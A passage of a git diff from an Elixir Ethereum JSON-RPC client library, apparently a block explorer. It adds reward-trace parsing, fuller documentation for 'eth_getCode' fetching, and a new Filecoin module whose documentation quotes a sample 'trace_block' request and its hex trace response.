MapSet.t(EthereumJSONRPC.FetchedBeneficiary.params())} + when id: non_neg_integer(), block_quantity: String.t() + defp response_to_params_set(%{id: id, result: traces}, id_to_params) when is_list(traces) and is_map(id_to_params) do + %{block_quantity: block_quantity} = Map.fetch!(id_to_params, id) + block_number = quantity_to_integer(block_quantity) + params_set = traces_to_params_set(traces, block_number) + + {:ok, params_set} + end + + @spec response_to_params_set(%{id: id, error: %{code: code, message: message}}, %{ + id => %{block_quantity: block_quantity} + }) :: {:error, %{code: code, message: message, data: %{block_quantity: block_quantity}}} + when id: non_neg_integer(), code: integer(), message: String.t(), block_quantity: String.t() + defp response_to_params_set(%{id: id, error: error}, id_to_params) when is_map(id_to_params) do + %{block_quantity: block_quantity} = Map.fetch!(id_to_params, id) + + annotated_error = Map.put(error, :data, %{block_quantity: block_quantity}) + + {:error, annotated_error} + end + + defp request(%{id: id, block_quantity: block_quantity}) when is_integer(id) and is_binary(block_quantity) do + if block_quantity == "0x0" do + nil + else + EthereumJSONRPC.request(%{id: id, method: "trace_block", params: [block_quantity]}) + end + end + + defp traces_to_params_set(traces, block_number) when is_list(traces) and is_integer(block_number) do + traces + |> Stream.filter(&(&1["type"] == "reward")) + |> Stream.with_index() + |> Enum.reduce(MapSet.new(), fn {trace, index}, acc -> + MapSet.union(acc, trace_to_params_set(trace, block_number, index)) + end) + end + + defp trace_to_params_set( + %{ + "action" => %{ + "rewardType" => reward_type, + "author" => address_hash_data, + "value" => reward_value + }, + "blockHash" => block_hash, + "blockNumber" => block_number + }, + block_number, + index + ) + when is_integer(block_number) and reward_type in ~w(block external uncle) do + MapSet.new([ + %{ + address_hash: address_hash_data, + block_hash: block_hash, + block_number: block_number, + reward: reward_value, + address_type: get_address_type(reward_type, index) + } + ]) + end + + # Beneficiary's address type will depend on the responses' action.rewardType, + # which will vary depending on which network is being indexed + # + # On POA networks, rewardType will always be external and the type of the address being + # rewarded will depend on its position. + # First address will always be the validator's while the second will be the EmissionsFunds address + # + # On PoW networks, like Ethereum, the reward type will already specify the type for the + # address being rewarded + # The rewardType "block" will show the reward for the consensus block validator + # The rewardType "uncle" will show reward for validating an uncle block + defp get_address_type(reward_type, index) when reward_type == "external" and index == 0, do: :validator + defp get_address_type(reward_type, index) when reward_type == "external" and index == 1, do: :emission_funds + defp get_address_type(reward_type, index) when reward_type == "external" and index >= 2, do: :validator + defp get_address_type(reward_type, _index) when reward_type == "block", do: :validator + defp get_address_type(reward_type, _index) when reward_type == "uncle", do: :uncle + defp get_address_type(reward_type, _index) when reward_type == "emptyStep", do: :validator end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_code.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_code.ex index 58d52509b447..2b7211fe4d44 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_code.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_code.ex @@ -9,9 +9,37 @@ defmodule EthereumJSONRPC.FetchedCode do @type error :: %{code: integer(), message: String.t(), data: %{block_quantity: String.t(), address: String.t()}} @doc """ - Converts `response` to code params or annotated error. - """ + Converts a JSON-RPC response of `eth_getCode` to code params or an annotated error. + + This function handles two types of responses: + 1. Successful responses with fetched code. + 2. Error responses. + + ## Parameters + - `response`: A map containing either a successful result or an error. + - `id_to_params`: A map of request IDs to their corresponding parameters. + ## Returns + - `{:ok, params()}` for successful responses, where `params()` is a map + containing the address, block number, and fetched code. + - `{:error, error()}` for error responses, where `error()` is a map + containing the error code, message, and additional data. + + ## Examples + iex> # Successful response: + iex> response = %{id: 1, result: "0x123"} + iex> id_to_params = %{1 => %{block_quantity: "0x1", address: "0xabc"}} + iex> FetchedCode.from_response(response, id_to_params) + {:ok, %{address: "0xabc", block_number: 1, code: "0x123"}} + iex> # Error response: + iex> response = %{id: 1, error: %{code: 100, message: "Error"}} + iex> id_to_params = %{1 => %{block_quantity: "0x1", address: "0xabc"}} + iex> FetchedCode.from_response(response, id_to_params) + {:error, %{code: 100, message: "Error", data: %{block_quantity: "0x1", address: "0xabc"}}} + """ + @spec from_response(%{id: EthereumJSONRPC.request_id(), result: String.t()}, %{ + non_neg_integer() => %{block_quantity: String.t(), address: String.t()} + }) :: {:ok, params()} def from_response(%{id: id, result: fetched_code}, id_to_params) when is_map(id_to_params) do %{block_quantity: block_quantity, address: address} = Map.fetch!(id_to_params, id) @@ -23,9 +51,9 @@ defmodule EthereumJSONRPC.FetchedCode do }} end - @spec from_response(%{id: id, result: String.t()}, %{id => %{block_quantity: block_quantity, address: address}}) :: - {:ok, params()} - when id: non_neg_integer(), block_quantity: String.t(), address: String.t() + @spec from_response(%{id: EthereumJSONRPC.request_id(), error: %{code: integer(), message: String.t()}}, %{ + non_neg_integer() => %{block_quantity: String.t(), address: String.t()} + }) :: {:error, error()} def from_response(%{id: id, error: %{code: code, message: message} = error}, id_to_params) when is_integer(code) and is_binary(message) and is_map(id_to_params) do %{block_quantity: block_quantity, address: address} = Map.fetch!(id_to_params, id) @@ -35,6 +63,22 @@ defmodule EthereumJSONRPC.FetchedCode do {:error, annotated_error} end + @doc """ + Creates a standardized JSON-RPC request structure to fetch contract code using `eth_getCode`. + + ## Parameters + - `id`: The request identifier. + - `block_quantity`: The block number or tag (e.g., "latest") for which to + fetch the code. + - `address`: The address of the contract whose code is to be fetched. + + ## Returns + A map representing a JSON-RPC request with the following structure: + - `jsonrpc`: The JSON-RPC version (always "2.0"). + - `id`: The request identifier passed in. + - `method`: The RPC method name (always "eth_getCode"). + - `params`: A list containing the contract address and block identifier. + """ @spec request(%{id: id, block_quantity: block_quantity, address: address}) :: %{ jsonrpc: String.t(), id: id, diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_codes.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_codes.ex index 8369285194a3..a15ce4f8ce02 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_codes.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_codes.ex @@ -15,7 +15,22 @@ defmodule EthereumJSONRPC.FetchedCodes do @type t :: %__MODULE__{params_list: [FetchedCode.params()], errors: [FetchedCode.error()]} @doc """ - `eth_getCode` requests for `id_to_params`. + Generates a list of `eth_getCode` JSON-RPC requests for the given parameters. + + This function takes a map of request IDs to parameter maps and transforms them + into a list of JSON-RPC request structures for fetching contract code. + + ## Parameters + - `id_to_params`: A map where keys are request IDs and values are maps + containing `block_quantity` and `address` for each request. + + ## Returns + A list of maps, each representing a JSON-RPC request with the following + structure: + - `jsonrpc`: The JSON-RPC version (always "2.0"). + - `id`: The request identifier. + - `method`: The RPC method name (always "eth_getCode"). + - `params`: A list containing the contract address and block identifier. """ @spec requests(%{id => %{block_quantity: block_quantity, address: address}}) :: [ %{jsonrpc: String.t(), id: id, method: String.t(), params: [address | block_quantity]} @@ -30,10 +45,30 @@ defmodule EthereumJSONRPC.FetchedCodes do end @doc """ - Converts `responses` to `t/0`. + Processes responses from `eth_getCode` JSON-RPC calls and converts them into a structured format. + + This function takes a list of responses from `eth_getCode` calls and a map of + request IDs to their corresponding parameters. It sanitizes the responses, + processes each one, and accumulates the results into a `FetchedCodes` struct. + + ## Parameters + - `responses`: A list of response maps from `eth_getCode` calls. Each map + contains an `:id` key and either a `:result` or `:error` key. + - `id_to_params`: A map where keys are request IDs and values are maps + containing `block_quantity` and `address` for each request. + + ## Returns + A `FetchedCodes` struct containing: + - `params_list`: A list of successfully fetched code parameters. + - `errors`: A list of errors encountered during the process. """ + @spec from_responses( + [%{:id => EthereumJSONRPC.request_id(), optional(:error) => map(), optional(:result) => String.t()}], + %{non_neg_integer() => %{block_quantity: String.t(), address: String.t()}} + ) :: t() def from_responses(responses, id_to_params) do responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) |> Enum.map(&FetchedCode.from_response(&1, id_to_params)) |> Enum.reduce( %__MODULE__{}, diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/filecoin.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/filecoin.ex new file mode 100644 index 000000000000..f9395a1321a4 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/filecoin.ex @@ -0,0 +1,744 @@ +defmodule EthereumJSONRPC.Filecoin do + @moduledoc """ + Ethereum JSONRPC methods that are only supported by Filecoin. + + Sample response from FEVM `trace_block` method: + + curl -s -X POST \ + -H "Content-Type: application/json" \ + --data '{"method":"trace_block","params":["0x37E611"],"id":1,"jsonrpc":"2.0"}' \ + http://...:1234/rpc/v1 | jq -r .result + [ + { + "type": "call", + "subtraces": 0, + "traceAddress": [], + "action": { + "callType": "call", + "from": "0xff0000000000000000000000000000000021cc23", + "to": "0xff000000000000000000000000000000001a34e5", + "gas": "0x1891a7d", + "value": "0x0", + "input": "0x868e10c400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000f2850d8182004081820d58c0960ee115a7a4b6f2fd36a83da26c608d49e4160a3737655d0f637b81be81b018539809d35519b0b75ca06304b3b4d40c810e50b954e82c5119a8b4a64c3e762a7ae8a2d465d1cd5bf096c87c56ab0da879568378e5a2368c902eea9898cf1e2a1974ddb479ec6257b69aca7734d3b3e1e70428c77f9e528ffcb3dc3f050f0193c2cc005927a765c39a4931d67fb29aaba6e99f2c7d2566b98fdbf30d6e15a2bbd63b8fa059cfad231ccba1d8964542b50419eaad4bc442d3a1dc1f41941944c11a0037e5f45820d41114bb6abbf966c2528f5705447a53ee37b7055cd4478503ea5eaf1fe165c60000000000000000000000000000" + }, + "result": { + "gasUsed": "0x14696c1", + "output": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0xf37d8b8bf67df3ddaa264e22322d2b092e390ed33f1ab14c8a136b2767979254", + "transactionPosition": 1 + }, + { + "type": "call", + "subtraces": 0, + "traceAddress": [], + "action": { + "callType": "call", + "from": "0xff0000000000000000000000000000000012e66c", + "to": "0xff0000000000000000000000000000000012e5f7", + "gas": "0x4482939", + "value": "0x0", + "input": "0x868e10c400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000f285108182064081820d58c097ea8a30fc450e9f5370bdfd0a5fbadb528b137c52ba4b22cbdd91cd1b312707556314b8400967aeb858c2dc8d68d7eb8b76960a414bf41ad73831bd6500d3ff06d8f8b1af823e1d2f5f9803d5402c4038b87a4c77803589bc0a9b982ae90d4a02381370e0f4aa4f3145acaa5a99854ba6bffbf02778c2f7ed66b141da1aab9fac560a184662c5e47e2764e9c4221ff982c750a5aafb97968a0348331218b069e0f754e62341ed115f2f05a5c86def9ce1dff851918cfa69095611517d99f27e1a0037e5f358205ded7c8109656ee788ec8de051bc70331254b551d154eac21abf8fcf339d86b50000000000000000000000000000" + }, + "result": { + "gasUsed": "0x3c65351", + "output": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0x83ca0e80894733453286b03e4caa9b1f3d4f4e14e52e583a46c99f3504a10e78", + "transactionPosition": 2 + }, + { + "type": "call", + "subtraces": 0, + "traceAddress": [], + "action": { + "callType": "call", + "from": "0xff0000000000000000000000000000000012e66c", + "to": "0xff0000000000000000000000000000000012e5f7", + "gas": "0x42d9aa2", + "value": "0x0", + "input": "0x868e10c400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000f285108182074081820d58c08a894f371e2e6808da865600757651857a086c1b186f6b8b7e28ad730a0d4febc506609da7629fd39966a7d44ca8d40c8203bf0625b54f4dc6a5598fc5154a0498e940820d49b5c19fa1211766feac30d08f2f886be3e3e677d6da346b9eb92a0a89aaeb839f00ad85631801e18397c1390a3847d3b9fd04f091f55ba561ebe401d6d66baa19e41fb7aa030590c5808280431c0b0d6a64fb2dbc77f3e79ddd563b039dcc821b30bbf8d55863066f48c8fb3c1e8504754a77238eb65ce35e309c1a0037e5f358205ded7c8109656ee788ec8de051bc70331254b551d154eac21abf8fcf339d86b50000000000000000000000000000" + }, + "result": { + "gasUsed": "0x3ba34f2", + "output": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0x4e0ddcc7723b6adb8b04553005bf7d2b92ff21515a2d475ed7cd904adf463ea2", + "transactionPosition": 3 + }, + { + "type": "call", + "subtraces": 0, + "traceAddress": [], + "action": { + "callType": "call", + "from": "0xff0000000000000000000000000000000012e66c", + "to": "0xff0000000000000000000000000000000012e5f7", + "gas": "0x37e0b4f", + "value": "0x0", + "input": "0x868e10c400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000f285108182084081820d58c0a621f85fb8c62ff3dfc46ceb3c8b39eaf26d12058084cf132e8b929e76d78b09f8dcab75ae6b8fb0c08cbb19401282b8a22a134dd6501245016c6b291475ffd9f5c849472158d35a4a2fbb1c3ae3a9659c6977bbba744ca93d88ce6b8463c2240c76e0369b0b7ce704c125ee0a1659bbe480f9332d93ce5cdfc8a4165a375faca2f7dd6f32b1ad5e7139a67132abc88fb92087b5bbfc783c538b72f940ff1270670a8d4cf75c00f841f7428a4882fc81ba7e878f130d4d064c32b297db1d83b61a0037e5f358205ded7c8109656ee788ec8de051bc70331254b551d154eac21abf8fcf339d86b50000000000000000000000000000" + }, + "result": { + "gasUsed": "0x32c5c44", + "output": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0x0ff1f5cf62ea3d5bff02b2179b65e04351887c8818c674566b97c40f00bb31cb", + "transactionPosition": 4 + }, + { + "type": "call", + "subtraces": 0, + "traceAddress": [], + "action": { + "callType": "call", + "from": "0xff0000000000000000000000000000000012e66c", + "to": "0xff0000000000000000000000000000000012e5f7", + "gas": "0x373949a", + "value": "0x0", + "input": "0x868e10c400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000f285108182094081820d58c0894b04554ba37a92ed433153a56ef1252a8c9b03c959eb389de91e623f8ed365dde113420eedc91ecc4e3ddd6b7769ec9300462f93ca58128694b0e7479ef0e055cfb5852f19e3cf682ba5ef3508b42e25f9b3fc8b3eba3b49d8343d5e366a3500a8f48a186b76cc22b4caf1496d209daacd2bc310de177f820c9acf354bc12d26f90f36a18a63c90d7a8857e6c0c608b63488ac62d688931752d4664331b1445aaf9ee9b2d394e48282f89e1eeef729617a097817ee1aa62a2cf5219f9d02df1a0037e5f358205ded7c8109656ee788ec8de051bc70331254b551d154eac21abf8fcf339d86b50000000000000000000000000000" + }, + "result": { + "gasUsed": "0x344d3f5", + "output": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0x037fde0b4fd04ee19c25d3ede9e65a37726995e3b11e8d475035b26db230782d", + "transactionPosition": 5 + }, + { + "type": "call", + "subtraces": 0, + "traceAddress": [], + "action": { + "callType": "call", + "from": "0xff0000000000000000000000000000000012e66c", + "to": "0xff0000000000000000000000000000000012e5f7", + "gas": "0x3780216", + "value": "0x0", + "input": "0x868e10c400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000f2851081820a4081820d58c087803bf7ff2604290afb95c3e1084540ead1f85b60816b716253e741d9637f1521c4dc70f6b3a53f593104e7d063873ba924e36be13b16f6bcc594199faf091c36c65bc971026e24af1ee7b20aeec80a3cc4edf7444bb1ae5943ff4cb01027fb101199f22ef757fbe6e7ef13560b7d0558fe5270cd529907d91c223f61a31096dab63246b7717cd517b8d68744c193f68b60d96b1f4eaf7761e87ceeea4fc378c1709b29e19d762f50ee1b8337e5f96135c35837a2d858b66116d0e1eb2800541a0037e5f358205ded7c8109656ee788ec8de051bc70331254b551d154eac21abf8fcf339d86b50000000000000000000000000000" + }, + "result": { + "gasUsed": "0x322a428", + "output": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0x98021260660c66e6be8af4b99f97e941b6ddcb2c48e84d2d0ad338522159a706", + "transactionPosition": 6 + }, + { + "type": "call", + "subtraces": 0, + "traceAddress": [], + "action": { + "callType": "call", + "from": "0xff0000000000000000000000000000000012e66c", + "to": "0xff0000000000000000000000000000000012e5f7", + "gas": "0x374cedf", + "value": "0x0", + "input": "0x868e10c400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000f2851081820b4081820d58c0b6f12b90e50d2c0b86f2cc341a1e8a7787c2e78b933f4613a7af22cdfb66ce15a53bcd9f79092ecd91d0677310f86791b3142770e01ecf3a9eeab55ed5294435d108773019404632105da406f9558eca8bf25295c0a6d5885c95f24e65050e7203c7d40e07a30103ef93233b137908ef4ea3fc3d0741c0bf1c3f439ec4b23fbff6be77e190cf2ba6f7bd609b10055ffb931645123bf6d85ead1fa04e6800717ff253eacf5d3bb9ccc8afadada897aae831aabfc20cabed2ff25d0a24f37a3c501a0037e5f358205ded7c8109656ee788ec8de051bc70331254b551d154eac21abf8fcf339d86b50000000000000000000000000000" + }, + "result": { + "gasUsed": "0x32ae600", + "output": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0xd3989d5f90ec878cc091194075bb9ed447ccae35a8dcc4035fad9c44987c55fd", + "transactionPosition": 7 + }, + { + "type": "call", + "subtraces": 0, + "traceAddress": [], + "action": { + "callType": "call", + "from": "0xff0000000000000000000000000000000023c695", + "to": "0xff000000000000000000000000000000001d922c", + "gas": "0x1a964d9", + "value": "0x0", + "input": "0x868e10c400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000f285148182004081820e58c0a24cb66ff00fd1f20a84a596a215dc56f44b240eb7c7fa2a9cc1f103a86388ee860b5ba5e6cba7cd8869b194c1b45fc292ae448fc49a96f16b891ce29aa6560f36273080297214c94845cb210144e1a237a82e427eda1bbcf75bb8fa914134c118c6687cf61f857e92a1f19cb6547235ac0802384e5e6b5fbdcf81dfa3b8a60aa92ffd452ff362aee38dacd297c611f3b5de12f612b38a366f3353274f784d820956afd67eb365d4cd53af1140ed2bed9bcbcd31da2b58b83651994b3bc694451a0037e60358202f916e2c95962eb5027d2f5fc467e9983027e6da80714e1b7169cda64ff2bb610000000000000000000000000000" + }, + "result": { + "gasUsed": "0x17effb4", + "output": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0xcee1106b264da4388f0b82d3eb834d75a5c82bd5baa76f58f56dd2d4df8f118b", + "transactionPosition": 8 + }, + { + "type": "call", + "subtraces": 1, + "traceAddress": [], + "action": { + "callType": "call", + "from": "0xff000000000000000000000000000000002af64b", + "to": "0xff000000000000000000000000000000002af684", + "gas": "0x490a329", + "value": "0x1734adf7a686149e", + "input": "0x868e10c40000000000000000000000000000000000000000000000000000000000000007000000000000000000000000000000000000000000000000000000000000005100000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000789821a0002997259078097f66fc0113af242cae4bb45a9a217eb538185b0b3cdcf059af23b77984e794d0dcb1994ca805f5621818d80b192ac269665ef565bcf33e86568c0b2ce805875dd607cf8875725c94646f87adc591a1d1bcdad9e5defe0474898ecc9178e50a709f7a49c4d41de880fa7dccaefecd9c4c499fdf84eac1446e23b9c746d2f929afce10a9fe4085d7f9af6a883e9bbe85995e07b2277e58a4bf8d106490a989c0d7fba52162a15d5d1de3580238ca8bd84c341fd5e3dd90e58604b44e9e6efa26f8bdb01f81f72e8a90e4d3781e6ee575ced52406e111c29cf8d39d394079ac4678c907b2e9b2aee659ea7f1862cb73805ab42c3f7962a6c63e43d5615da1fa4620c5accb67f30463512afe1ea313367efabc66d132eca27dd4edc5a4f88cabe6517ef84269d1db59b0a9b5df61babf9f4e60f2a9ebd6bb2f1cf4c51fb3e899a64866b05775a76d9d02835c7c72dbe9c1aae0eba486b759688b26bcf3dbb8a56b99fa90219b4b72ddf96c198bf37309c0e87f7bbcc4207397efd93176508b1948b83b9d29e6fb9eb90f175c634374e662ca6618c27b4044caab2682b295e490bfaa3816b6856ba95b07c88a4d354f66526b6bcd48cb7b3dbe34651c7ed4fe0522a802c4abd8c9865bed859706476ef28e65e0ef995f6ed4355cd2ad049b28b479218a2d145c48484b15997e1e50e0e811bb25da5e299970d83cc12e927261f4672444f24a7181364dd2c0a46f38aa24bd38284398e866b5012d763ee70fa8c6851c28083cc47a3ce35712dfb578f99c2cb878f0eab25e380dc88ee6ecb705b31cb9492c01937ef66e226efc048dd5ae78cacf8391056d4d0555bfb37ee93865b5d79d73609b3b80c5c22fb22826834e81699a29fe7667d577fb4b1719fbbdfb988afe34d91b009a0c92f6a9f33f04e4237a5b5db7124d46b80d4af0592e338790008841c0d1562229a78bfa2e0a084e4144aed4edac7a8b7504848979452ad547909552382b655009bc4257d96f0f3fe39960fe3ea1a5c6ccd0d5bf09462f53b8bb298abfd5c5a039c7bf4d76f908574827ff275e129a29f057b3410d61d35788db2eadfc5b32ae50b3169df0bb625ca5a88dda75e0e4d5bf16b669df3ce3e3abd89bd5369ab8fae5fc4fef3b427f991ab800c9207df5028ceec134b6d65b62ee8feca0014c1a5bb13473bef7c64589df5300c1ce2b9bf52a4b296a21f7e64506a0d1dc5fcd208e71cb66df368346857546e886bf6961534d4208c312a415c46951fde39ae9fe2716fb76f93a654b260a584339bf04f08e92b09364de4079533fc5685a0379bd07a63c8d8c0d5150ccd54575138fcdcfc386ecca7e176f0369b7f830271d00f756227bf1858ff0c4b0a39db2586f81f1c2eb94e6dd800c41604a7daa5893f880fd0ec02196e5fed08f2f7837de91e9ab414479e220bb734a20081ff3709d623548efd15fa09dcb976aee94e61e54261b074f4e43a88ece20d167a0c8a255ca5da4197cef5bcaff55f80e7a4016a2bddcd9a772ea3a5b311041c4912087260c7028b17076a3a580da693eb98b25cc3ac3384cfeca799f185fadbe4a24a87d40e675ba2324870fe946d28c38bd385a8e75dafcb7c17209fc6ab477196a9d0b8c1cd853a41a6a99431114cb391a62449fc2b9a17149c321ed7937cb6a5f534fdc6cfc0ba7b96e0f7c9141e49905c40df94acbc1375f8d6d04101dd3b2aa031b68c27f50158879e705de80672abd7708f88d3446cb19261533a34e26a17ffa04395e3d130b13a96081f1d9c06a235168c6c81d471aaad92d5a9ee4b9f02822ac53d3ef5ce2020f47bed59d05999c3916325105c6a052870f678fe52019150bbafaf4f06db0bfc6f1f3461fc205e84a3232bd885ef2b7baf7e635e4730b29631c723318c7c37671d30c26e967804aa34c94eb927c868c0eabbe394262c18699d7275a735f2a5e5191c64dccd03986556e7f541475bcec57a8b43baab5f915168872d46d5a3292db6da12f75eb57ca579f8bc4dd9ab206cb5fe7cdf3031135515d8d01802fd78ad24ef1fc91814e010620e8a6eec9f7c0fd5efbee822072dac9f21965fde15fde86b25eabc02818a2e92d997c4ea0b2903bf0a7d3ec24754f6105511f72880810133487b02754bad91d57a342fc9844077b0b082158d728b2c3bc0ec07ca096f2996eeb83e3b45934a76d8e98b9afd8f11899aa15b374ce63108375fd93386ae4e4e0b0d6c22d4acfa0983faddeee59869e54919ee7a52a3fb87e528ed6b63172a647974534f957808b0720656dc5b963a2111edab5a731559a8935397c786869d96f60a1a5c0c4ad57084262a2b33139efa864eeff0d350327903b1db5ac981e6603160b47308b9570a8d0a0a33816b7b35dca64d40b9316ab9bb9d29b10fc09072235758da48817ac298870691e245b099cc7a7298f490e46609a8de673cc645d4dadda47a13291bf52c7eceeed22bc18c522a9063c81fae43eb13f04f1473421d784f05b7f9a595a053fa3be4fe7efba02cc23d4f4c1111bda71774695176c79c904f1d7863044004055200cef7c76e62d9902118cf063dd599b0d30824074e0306cc3d01f18d68aa46aa986e3146847e0e23289fbc9e30e13a54d39885bc65de72eb7a7756a44bc6effe2584f1a8ffba854295e4d98d3ae515a551538aded3ed59e034b9c24ab3e7792aecdb84c7e6443bc5f6932e0000000000000000000000000000000000000000000000" + }, + "result": { + "gasUsed": "0x773e01", + "output": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "blockHash": "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber": 3663377, + "transactionHash": "0x4d88a10bcf487e66019cae5da1f3e29fd36de5ebeabe342d034b0dcc70bf32f4", + "transactionPosition": 9 + }, + { + "type": "call", + "subtraces": 0, + "traceAddress": [ + 0 + ], + "action": { + "callType": "call", + "from": "0xff000000000000000000000000000000002af684", + "to": "0xff00000000000000000000000000000000000004", + "gas": "0x44a899c", + "value": "0x0", + "input": "0x868e10c400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000008338808821a002af6841a00029972811a045b2b535820c4602a2df716d569dd747e0fdb722f40fa6ee1a9fca69c250bd098de14a9b3ff58203ea65ad0e910f3d9e0556bfe40f97e34cf87a3307197b1f9fedc51dc291f828859078097f66fc0113af242cae4bb45a9a217eb538185b0b3cdcf059af23b77984e794d0dcb1994ca805f5621818d80b192ac269665ef565bcf33e86568c0b2ce805875dd607cf8875725c94646f87adc591a1d1bcdad9e5defe0474898ecc9178e50a709f7a49c4d41de880fa7dccaefecd9c4c499fdf84eac1446e23b9c746d2f929afce10a9fe4085d7f9af6a883e9bbe85995e07b2277e58a4bf8d106490a989c0d7fba52162a15d5d1de3580238ca8bd84c341fd5e3dd90e58604b44e9e6efa26f8bdb01f81f72e8a90e4d3781e6ee575ced52406e111c29cf8d39d394079ac4678c907b2e9b2aee659ea7f1862cb73805ab42c3f7962a6c63e43d5615da1fa4620c5accb67f30463512afe1ea313367efabc66d132eca27dd4edc5a4f88cabe6517ef84269d1db59b0a9b5df61babf9f4e60f2a9ebd6bb2f1cf4c51fb3e899a64866b05775a76d9d02835c7c72dbe9c1aae0eba486b759688b26bcf3dbb8a56b99fa90219b4b72ddf96c198bf37309c0e87f7bbcc4207397efd93176508b1948b83b9d29e6fb9eb90f175c634374e662ca6618c27b4044caab2682b295e490bfaa3816b6856ba95b07c88a4d354f66526b6bcd48cb7b3dbe34651c7ed4fe0522a802c4abd8c9865bed859706476ef28e65e0ef995f6ed4355cd2ad049b28b479218a2d145c48484b15997e1e50e0e811bb25da5e299970d83cc12e927261f4672444f24a7181364dd2c0a46f38aa24bd38284398e866b5012d763ee70fa8c6851c28083cc47a3ce35712dfb578f99c2cb878f0eab25e380dc88ee6ecb705b31cb9492c01937ef66e226efc048dd5ae78cacf8391056d4d0555bfb37ee93865b5d79d73609b3b80c5c22fb22826834e81699a29fe7667d577fb4b1719fbbdfb988afe34d91b009a0c92f6a9f33f04e4237a5b5db7124d46b80d4af0592e338790008841c0d1562229a78bfa2e0a084e4144aed4edac7a8b7504848979452ad547909552382b655009bc4257d96f0f3fe39960fe3ea1a5c6ccd0d5bf09462f53b8bb298abfd5c5a039c7bf4d76f908574827ff275e129a29f057b3410d61d35788db2eadfc5b32ae50b3169df0bb625ca5a88dda75e0e4d5bf16b669df